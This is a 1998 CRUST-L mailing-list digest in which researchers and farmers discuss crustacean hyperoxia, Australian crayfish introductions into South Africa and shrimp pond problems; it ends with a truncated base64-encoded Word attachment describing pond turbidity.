(UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #112 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:06 1998 Date: Mon, 19 Jan 1998 17:45:10 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #113 crust-l-digest Monday, 19 January 1998 Volume 01 : Number 113 CRUST-L: hyperoxia ? CRUST-L: Freshwater Crayfish Introductions in South Africa Re: CRUST-L: Freshwater Crayfish Introductions in South Africa CRUST-L: LOOKING FOR ASSISTANCE RE: CRUST-L: LOOKING FOR ASSISTANCE CRUST-L: The copulation of Heterothelphusa fatum? CRUST-L: New malacological web site CRUST-L: hyperoxia? Re: CRUST-L: molecular systematics CRUST-L: OTRA VEZ PROBLEMAS CON EL FONDO DEL ESTANQUE ---------------------------------------------------------------------- From: massabuau@lnpc.u-bordeaux.fr (Jean-Charles MASSABUAU) Date: Fri, 16 Jan 1998 09:29:17 +0100 Subject: CRUST-L: hyperoxia ? Dear Stephen, In response to your enquiry about the effects of hyperoxia on crustaceans, I enclose below a list of papers from our lab that we published on the topic since a few years. We are not directly working on the O2 toxicity problems, but we are routinely studying the strategy of adaptation developped by aquatic animals facing changes of water oxygenation (O2 concentration from less than 0.5 mg/L up to 20-30 mg/L).=20 Beside the litterature on gas bubbles our colleagues are referring to on the CRUST-List, I must tell you that in laboratory conditions, when we maintained crustaceans (crayfish and crabs) at Po2 =3D 40 kPa, i.e. 20 mg/l for days or even weeks, we do not observe any lethal effect at all (and of course, no bubble!!!). With Pierre Dejours, we also did it in an hyperbaric chamber with trouts in pure O2 equilibrated water at 2 atmospheres (Po2 =3D 200 kPa) for one month... No trouble... In fact, the trick is that whatever the inspired partial pressure of oxygen (Po2) in a realistic range of 3-40 kPa (1.5-20 mg/L), crustaceans adapt their mechanism of O2 transport from the water to the tissues (ventilation, blood flow rate, respiratory pigment affinity... ) in order to keep their blood oxygenation status in a constant, low and steady range. If you remind that in air, and of course in air-equilibrated water, the fraction of O2 is 21 percent, it corresponds to a partial pressure, Po2, of 21 kPa. In human, Po2 in the arterial blood is set in the range 10-14 kPa. In all, the crustaceans we studied we found 1-3 kPa (sorry, if I have been to simple!) To summarize, the TAKE HOME MESSAGE is: the milieu interieur of a crab, a crayfish or a peneid which is in an hyperoxic water where Po2 =3D 40 kPa (40 mg/L, T =3D 15-25 degre celsius) is not hyperoxic! On the contrary, the= animal decreases its ventilation, by the mean of a very fast reflex, to keep a low oxygenated blood at Po2 of 1-2 kPa. Here is the corresponding bibliography (I can send you what you want) and I am of course ready to pursue the discussion on the list.=20 Best wishes, JC - -Massabuau, J.-C., B. Eclancher et P. Dejours (1980). Ventilatory reflex response to hyperoxia in the crayfish, Astacus pallipes. J. Comp. Physiol. 140: 193-198. - -Massabuau, J.-C., P. Dejours et Y. Sakakibara (1984). Ventilatory CO2 drive in the crayfish: influence of oxygen consumption and water oxygenation. J. Comp. Physiol. B 154: 65-72. - -Massabuau, J.-C. et B. Burtin (1984). Regulation of the oxygen consumption in the crayfish Astacus leptodactylus: role of the peripheral O2 chemoreception. J. Comp. Physiol. B 155: 43-49. - -Sakakibara, Y., B. Burtin et J.-C. Massabuau (1987). Circadian rhythm of extracellular pH in crayfish at different levels of oxygenation. Respir. Physiol. 69: 359-367. - -Forgue, J., B. Burtin et J.-C. Massabuau (1989). Maintenance of oxygen consumption in resting teleost Silurus glanis at various levels of oxygenation. J. Exp. Biol., 143, 305-319. - -Massabuau, J.-C., B. Burtin et M. Wheatly (1991). How is O2 consumption maintained independent of ambient oxygen in mussel Anodonta cygnea. Respir. Physiol.,83, 103-114. - -Forgue, J., Massabuau, J.-C. et J.-P. Truchot (1992). When are resting water-breathers lacking 02? Arterial Po2 at the anaerobic threshold in crab. Respir. Physiol. 88, 247-256. - -Forgue, J., Truchot, J.-P. et J.-C. Massabuau (1992). Low arterial Po2 in resting crustaceans is independent of blood O2 affinity. J. exp. Biol. 170, 257-264. - -Massabuau J.-C. et J. Forgue (1995). How sheatfish maintain O2 supply in hypoxia: a key example of O2 homeostasis. Aquatic Living Resources. 8:= 423-430. - -Massabuau, J.-C. et Forgue, J. (1996). A field vs laboratory study of blood O2-status in normoxic crabs at different temperatures. Canad. J. Zool. 74 (3): 423-430 - -Massabuau, J.-C. et Meyrand, P. (1996). Modulation of a neural network by physiological levels of oxygen in lobster stomatogastric ganglion. J. Neurosciences. 16 (12): 3950-3959 - -Clemens, S., Massabuau, J.-C., Legeay, A., Meyrand, P., Simmers, J. (1998) Interaction of two interacting central pattern generators in lobster stomatogastric ganglion: influence of feeding and local partial pressure of oxygen. J. Neurosciences (in press) Hello Crusters, I'm wondering if anyone out there would have any references to the effects of supersaturation of O2 on marine crust's. I haven't found much, so far, in my readings, so if you could point me in the right direction I would appreciate it. Thanks for the help! Steve Stephen G. Dunbar Central Queensland University Department of Biology Rockhampton Mail Centre, QLD 4702 Email:dunbars@topaz.cqu.edu.au Ph:079-309647 Ph:011-61-749-309647 (from Canada;note change from 079 to 749) - ----------------------------------------------------------------------------= - -- Dr Jean-Charles MASSABUAU E-Mail : massabuau@lnpc.u-bordeaux.fr =20 CR CNRS=20 = =20 Laboratoire d'Ecophysiologie et d'Ecotoxicologie=20 des Systemes Aquatiques. =20 UMR CNRS 5805 - Universit=E9 Bordeaux I. Tel :+33 (0)5 56= 22 39 25=20 Place du Dr. Peyneau - 33120 - Arcachon (France). Fax :+33 (0)5 56 83 03 50 =20 - ----------------------------------------------------------------------------= - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "MARTIN HILL" Date: Fri, 16 Jan 1998 11:32:13 GMT+2 Subject: CRUST-L: Freshwater Crayfish Introductions in South Africa Dear All The controversy over the intorduction of Australian freshwater crayfish into South Africa for aquaculture continues. After much debate, speculation and soul searching the following proposal has been put forward on which I would appreciate expert opinion. Three species have been proposed: Cherax quadricarinatus Cherax albidus Cherax destructor The conservation body concerned has suggested that C. quadricarinatus be allowed to be introduced and farmed for the following reasons 1] It is a tropical species and cold intolerant and the areas where the farming will occur are high elevation, characterised by cold winters (-10 C for about 20 nights of the year, water temperture about 4-6 C) and therefore even if the beast were to escape cultivation, the chances of establishment in the field are remote. 2] It has no aestivation capabilities and the rivers in South Africa tend to be stocastic in nature, remaining dry for most of the summer. 3] It does not appear to borrow. 4] Provided it is disease free. At present no decision has been made, and I would appreciate people's opinions on these arguments. Many thanks Martin Hill ********************************************** Dr. M.P. Hill ARC PPRI Private Bag X 134 Pretoria, South Africa, 0001 E-Mail: Rietmh@Plant2.Agric.za Tel: Int. + 27 12 3293276 (Local): 012-3293276 Fax: Int. + 27 12 3293278 (Local): 012-3293278 ********************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Craig Browdy Date: Fri, 16 Jan 1998 10:37:17 -0500 Subject: Re: CRUST-L: Freshwater Crayfish Introductions in South Africa In South Carolina we have a permitting process which requires a detailed application and an operations plan for the importation or possession of nonindigenous shrimp. The application form developed by our nonindigenous species committee requires that the importer working with a DNR biologist must provide the type of information you noted in your meassage. The operations plan must address in detail issues such as disease testing, quarantine during the testing period and prevention of escapement. I would strongly suggest careful development of the facility design protocols which can minimize esacpement potential ie dike and weir designs, proper screening designs, materials, mesh sizes, redundancy etc...There was a recent thread about crayfish plague spread in Europe from transfer of non-indigenous species on one of these lists. it is quite a horror story... I would suggest researching the disease issues very carefully... I would suggest contacting Brett Edgerton bandc.edgerton@magnet.com.au. He has done alot of work on diseases in Australian crayfish describing several new viruses. See Crayfish News 17(1):4 and 17(4):8, Diseases of Aquatic Organisms 27:43-52, 27:123-129, 29:73-78, Journal of Invertebrate Pathology 68:187-190, Freshwater Crayfish 10:322-338. If you can not get hold of Brett, you might speak to his advisor Leigh Owens leigh.owens@jcu.edu.au. The following is some of the species information requested in the South Carolina application... [E] SPECIES INFORMATION Note that all information in this section must be completed for each non-indigenous species for which application is made. 1. Common and scientific name of species to be cultured: ________________________________ ____________________________________________________________________________ __ 2. Origin of non-indigenous species to be cultured and previous holding facilities (provide information separately for all different sources for each life stage; eg. broodstock, larvae, etc.) Name of Supplier: ________________________________ Telephone: ( )______________ Mailing Address: ___________________________________________________________________________ _ Street City State Zip Contact Person: _______________________________________________________________ Hatchery name and location (for cultured species): _____________________________________ ____________________________________________________________________________ _ Collection location (for wild caught species; include specific description of water body): ____________________________________________________________________________ Location of all facilities where stock was previously held (including in-state, US or non-US): ____________________________________________________________________________ ____________________________________________________________________________ 3. Attach information on the natural range of the species. 4. Attach information on environmental tolerances of the species (salinity, temperature, dissolved oxygen etc.). 5. Attach information on reproductive information and controlling or limiting factors. 6. Attach information on nearest known established wild population of the species. 7. Attach information on the potential of a population to become established in South Carolina. 8. Attach information on documented or potential means by which the organism could become established in public waters. 9. Attach information pertaining to the nuisance potential of the species (Is it a nuisance in some part of its present geographic distribution? Do characteristics of the species indicate that it could become a nuisance if it escapes or is released into the environment? What environmental effects are anticipated if the organism escapes or is released?) 10. Attach information pertaining to the disease potential of the species. 11. Attach an explanation of the social or economic benefits to be derived from the proposed introduction and the long term potential (or lack thereof) of indigenous species to meet the same purposes. Craig L. Browdy South Carolina Department of Natural Resources Waddell Mariculture Center POB 809 Bluffton, SC 29910 USA Phone: 803-837-3795 FAX: 803-837-3487 Email: browdycl@musc.edu - ---------- > From: MARTIN HILL > To: Crust-l@vims.edu > Subject: CRUST-L: Freshwater Crayfish Introductions in South Africa > Date: Friday, January 16, 1998 6:32 AM > > Dear All > > The controversy over the intorduction of Australian freshwater > crayfish into South Africa for aquaculture continues. After much > debate, speculation and soul searching the following proposal has > been put forward on which I would appreciate expert opinion. > > Three species have been proposed: > Cherax quadricarinatus > Cherax albidus > Cherax destructor > > The conservation body concerned has suggested that C. quadricarinatus > be allowed to be introduced and farmed for the following reasons > > 1] It is a tropical species and cold intolerant and the areas where > the farming will occur are high elevation, characterised by cold > winters (-10 C for about 20 nights of the year, water temperture > about 4-6 C) and therefore even if the beast were to escape > cultivation, the chances of establishment in the field are remote. > > 2] It has no aestivation capabilities and the rivers in South Africa > tend to be stocastic in nature, remaining dry for most of the summer. > > 3] It does not appear to borrow. > > 4] Provided it is disease free. > > At present no decision has been made, and I would appreciate people's > opinions on these arguments. > > Many thanks > > Martin Hill > > > > ********************************************** > Dr. M.P. Hill > ARC > PPRI > Private Bag X 134 > Pretoria, South Africa, 0001 > > E-Mail: Rietmh@Plant2.Agric.za > Tel: Int. + 27 12 3293276 (Local): 012-3293276 > Fax: Int. + 27 12 3293278 (Local): 012-3293278 > ********************************************** > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Ocean. Heberto Cavazos Lliteras" Date: Fri, 16 Jan 98 13:47:42 PST Subject: CRUST-L: LOOKING FOR ASSISTANCE I'am a shrimp farmer in M=E9xico and i'm lookin for assistence. I have a pond bottom problem associate with crustacean. How can i susbribe to your group ? Sorry for my english. heberto cavazos lliteras=20 hcavazos@tamnet.com.mx =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: NETO CAMPOS Date: Fri, 16 Jan 1998 15:10:50 -0800 Subject: RE: CRUST-L: LOOKING FOR ASSISTANCE Heberto Mi recomendaion es que definas el problema. Como saber si podemos o no = ayudarte si no sabemos de que se trata?. Ernesto. ***************************************** Ernesto Campos Professor of Zoology Profesor de Zoologia Facultad de Ciencias Universidad Autonoma de Baja California Apartado Postal 2300, Ensenada, Baja California 22800 Mexico U.S. ADDRESS 4492 CAMINO DE LA PLAZA (STE.ESE. 1108) SAN YSIDRO, CALIFORNIA 92173-3097 U.S.A. ***************************************** - ---------- From: Ocean. Heberto Cavazos Lliteras[SMTP:hcavazos@tamnet.com.mx] Sent: Friday, January 16, 1998 1:47 PM To: CRUST-L@vims.edu Subject: CRUST-L: LOOKING FOR ASSISTANCE I'am a shrimp farmer in M=E9xico and i'm lookin for assistence. I have a pond bottom problem associate with crustacean. How can i susbribe to your group ? Sorry for my english. heberto cavazos lliteras=20 hcavazos@tamnet.com.mx =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= - -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-To = (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D= - -=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Sat, 17 Jan 1998 09:57:10 -0500 Subject: CRUST-L: The copulation of Heterothelphusa fatum? Hello crusters I saw yesterday two pairs of H. fatum copulating (I saw that the female was placed her tail around the male). They were young (and small ones; the smallest male was only some 10 mm in carapace width. It's only 1/3 of the adults males width) specimens and I was thinking: this have to be practice only. Concerning this topic I would like to ask some questions. 1. Do FW crabs practise copulating? 2. Do the females save the spermatozoa for later use? 3. Do different FW crab species behave in different ways in this topic? Thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: propal@tin.it Date: Sun, 18 Jan 1998 00:27:07 +0100 Subject: CRUST-L: New malacological web site The Italian Malacological Society - S.I.M. is proud to announce that is now owner of a Web Site, whose address is: http://www.aicon.com/sim/index.htm Your visit will be appreciated. Riccardo Giannuzzi-Savelli president Societa' Italiana di Malacologia =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: massabuau@lnpc.u-bordeaux.fr (Jean-Charles MASSABUAU) Date: Mon, 19 Jan 1998 10:51:50 +0100 Subject: CRUST-L: hyperoxia? Dear Roy, Thanks for this comment, because it is exactly the typical case for which we must expect bubble formation. It is of course a very nice illustration of what I was saying. Of course, the solubility of gas was suddenly decrease by decreasing the atmospheric pressure and the animals got the gas-bubble disease well know to every diver. But, can you tell us what about the partial pressures of gas in your hyperbaric habitat? In theory, during such a long term exposure, you should have not breathe hyperoxic mixture due to O2-toxicity problems. Best wishes, JC - ----------------------------------------------------------------------------= - -- Dr Jean-Charles MASSABUAU E-Mail : massabuau@lnpc.u-bordeaux.fr =20 CR CNRS=20 = =20 Laboratoire d'Ecophysiologie et d'Ecotoxicologie=20 des Systemes Aquatiques. =20 UMR CNRS 5805 - Universit=E9 Bordeaux I. Tel :+33 (0)5 56= 22 39 25=20 Place du Dr. Peyneau - 33120 - Arcachon (France). Fax :+33 (0)5 56 83 03 50 =20 - ----------------------------------------------------------------------------= - -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: edupre@SOCOMPA.CECUN.UCN.CL (Mag. Enrique Dupre M.) Date: Mon, 19 Jan 1998 17:33:32 GMT Subject: Re: CRUST-L: molecular systematics Dear Michal: I know Dr. Vic Vacquier is working on molecular markers (PCR amplify the mtDNA sequences) to determine phylogenetics relationship in sea urching. The e-mail is vvacquier@ucsd.edu. Best regards Enrique Dupre - ---------------------------------------------------------------------------- - ---------------------------------- Hi, Is there anybody on this list, working in a field of molecular >systematics, phylogenetics, population genetics, biogeography, behavioural >ecology or any other stuff involving application of molecular markers? > Regards, > Michal Grabowski > Laboratory of Polar Biology and Oceanobiology > University of Lodz > Poland >Michal Grabowski >Laboratory of Polar Biology and Oceanobiology >University of Lodz >Poland >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= M.Sc. Enrique Dupre Lab. Biol. de la Reprod. Fac. Ciencias del Mar Universidad Catolica del Norte, Coquimbo, Chile Fax: 5651-311287 E-Mail: edupre@socompa.cecun.ucn.cl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Ocean. Heberto Cavazos Lliteras" Date: Mon, 19 Jan 98 15:41:50 PST Subject: CRUST-L: OTRA VEZ PROBLEMAS CON EL FONDO DEL ESTANQUE - ---------------------------------------------------------------------- Your mail reader is not using the MIME attachment standard. To read all of this message, use a MIME V1.0 compliant reader. Some parts of this message may be in a human readable form. - ---------------------------------------------------------------------- - --885253686=_Mail_2_=1133463587 Content-Type: text/plain; charset="ISO-8859-1"; X-MAPIextension=".TXT" Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by correo.tamnet.com.mx id QAA07863 Espero que con esta descripci=F3n de mi problema podamos iniciar alg=FAn dialogo.=20 Disculpen por no hacerlo anteriormente pero no sab=EDa como operaba este sistema heberto cavazos lliteras=20 hcavazos@tamnet.com.mx - --885253686=_Mail_2_=1133463587 Content-Type: application/msword; name="CRUS-L.DOC" Content-Transfer-Encoding: base64 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAOwADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAA AAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ///////////////////////////////////9////DgAAAP7///8PAAAABQAAAAYAAAAHAAAA CAAAAAkAAAAKAAAACwAAAAwAAAANAAAAEAAAAP7////+////EQAAABIAAAATAAAAFAAAABUA AAAWAAAA/v////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////1IA bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAWAAUA//////////8DAAAAAAkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAIbg TKLuJL0BAwAAAEADAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgH///////////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYQAAAAAAAABXAG8AcgBkAEQAbwBjAHUA bQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAf// //8EAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAA5IAAA AAAAAE8AYgBqAGUAYwB0AFAAbwBvAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAWAAEBAQAAAAIAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAACG4Eyi 7iS9AYbgTKLuJL0BAAAAANQNNBRABNQNAQAAAP7///8DAAAABAAAAAUAAAAGAAAABwAAAAgA AAAJAAAACgAAAAsAAAAMAAAA/v////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////8BAP7/ AwoAAP////8ACQIAAAAAAMAAAAAAAABGGwAAAERvY3VtZW50byBNaWNyb3NvZnQgV29yZCA2 AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuNgAAAAAAOwADAP7/CQAGAAAAAAAA AAAAAAABAAAAAQAAAAAAAP7/AAADCgAAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuR CAArJ7PZMAAAAIwCAAANAAAABwAAAJgAAAAEAAAA3AAAAAgAAAAAAQAADAAAACQBAAALAAAA SAEAAA0AAABsAQAADwAAAJABAAAQAAAAtAEAAAoAAADYAQAAEgAAAPwBAAAOAAAAIAIAAAkA AABEAgAAEwAAAGgCAAD///////////////////////////////////////////////////// HgAAACgAAABDOlxNU09GRklDRVxXSU5XT1JEXFBMQU5USUxMXE5PUk1BTC5ET1QAAAAAAAAA AAAAAAAAAAAAAAAAAAAeAAAAGAAAAEFSRU5BIENPTlNVTFRPUkVTLCBTLkMuAAAAAAAeAAAA GAAAAEFSRU5BIENPTlNVTFRPUkVTLCBTLkMuAAAAAABAAAAAho8vRuEkvQEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABAAAAAAAAAANylZQA1wAoEAAAAAGUAAAAAAAAAAAAAAAADAAC6EwAA OSAAAAAAAAAAAAAAAAAAAAAAAAC6EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAHAAAcAAAAAAcAABwAAAAcBwAAAAAAABwHAAAAAAAAHAcAAAAAAAAcBwAAAAAAABwHAAA FAAAAKocAAAAAAAAqhwAAAAAAACqHAAAAAAAAKocAAAAAAAAqhwAAAAAAACqHAAACgAAALQc AAAWAAAAqhwAAAAAAAByHwAAMQAAAMocAAAAAAAAyhwAAAAAAADKHAAAAAAAAMocAAAAAAAA yhwAAAAAAADKHAAAAAAAAMocAAAAAAAAyhwAAAAAAAADHQAAAgAAAAUdAAAAAAAABR0AAAAA AAAFHQAAHwAAACQdAAAYAQAAPB4AABgBAABUHwAAHgAAAKMfAABUAAAA9x8AAEIAAAByHwAA AAAAAAAAAAAAAAAAAAAAAAAAAABwHAAAAAAAAMocAAAAAAAAAAAKAAsAAQADAMocAAAAAAAA yhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyhwAAAAAAADKHAAAAAAAAHIfAAAAAAAAyhwAAAAA AABwHAAAAAAAAHAcAAAAAAAAyhwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyhwAAAAAAADKHAAA AAAAAMocAAAAAAAAyhwAAAAAAADKHAAAAAAAAHAcAAAAAAAAyhwAAAAAAABwHAAAAAAAAMoc AAAAAAAAAx0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAhBwAAA4AAACSHAAAGAAAAHAcAAAAAAAA cBwAAAAAAABwHAAAAAAAAHAcAAAAAAAAyhwAAAAAAAADHQAAAAAAAMocAAA5AAAAyhwAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1QUk9CTEVNQVRJQ0E6ICAgQWx0 YSB0dXJiaWRleiBkZWwgYWd1YSBwb3IgdGVycu1nZW5vcyBlbiBzdXNwZW5zafNuDQ1BbnRl Y2VkZW50ZXM6DQ1HcmFuamEgc3ViZGl2aWRpZGEgZW4gNSBlc3RhbnF1ZXMgdHJlcyBkZSBs b3MgY3VhbGVzIGhhbiBvcGVyYWRvIGRlc2RlIDE5ODUgcGFyYSBsYSBlbmdvcmRhIGRlIGNh bWFy824gY29uIHJlc3VsdGFkb3MgY29uc2lzdGVudGVzIGVuIGxvIHF1ZSByZXNwZWN0YSBh IGxhIHByb2R1Y2Np824uDUNpY2xvcyBkZSBjdWx0aXZvIHZhcmlhYmxlcyBlbnRyZSA4NCB5 IDEyMCBk7WFzIGRlIGN1bHRpdm8sIGNvbiB0YWxsYXMgZGUgY29zZWNoYSBkZSAxNCBhIDE4 IGdyYW1vcy4NRWwgc3VtaW5pc3RybyBkZSBhZ3VhIGRlIGxvcyBlc3RhbnF1ZXMgc2UgbG9n cmEgYm9tYmVhbmRvIGFndWEgc2Fsb2JyZSBkaXJlY3RhbWVudGUgZGVzZGUgZWwgcu1vIHkg YWxtYWNlbmFuZG9sYSBwcmV2aWFtZW50ZSBlbiB1biBlc3RhbnF1ZSByZXNlcnZvcmlvIGRl 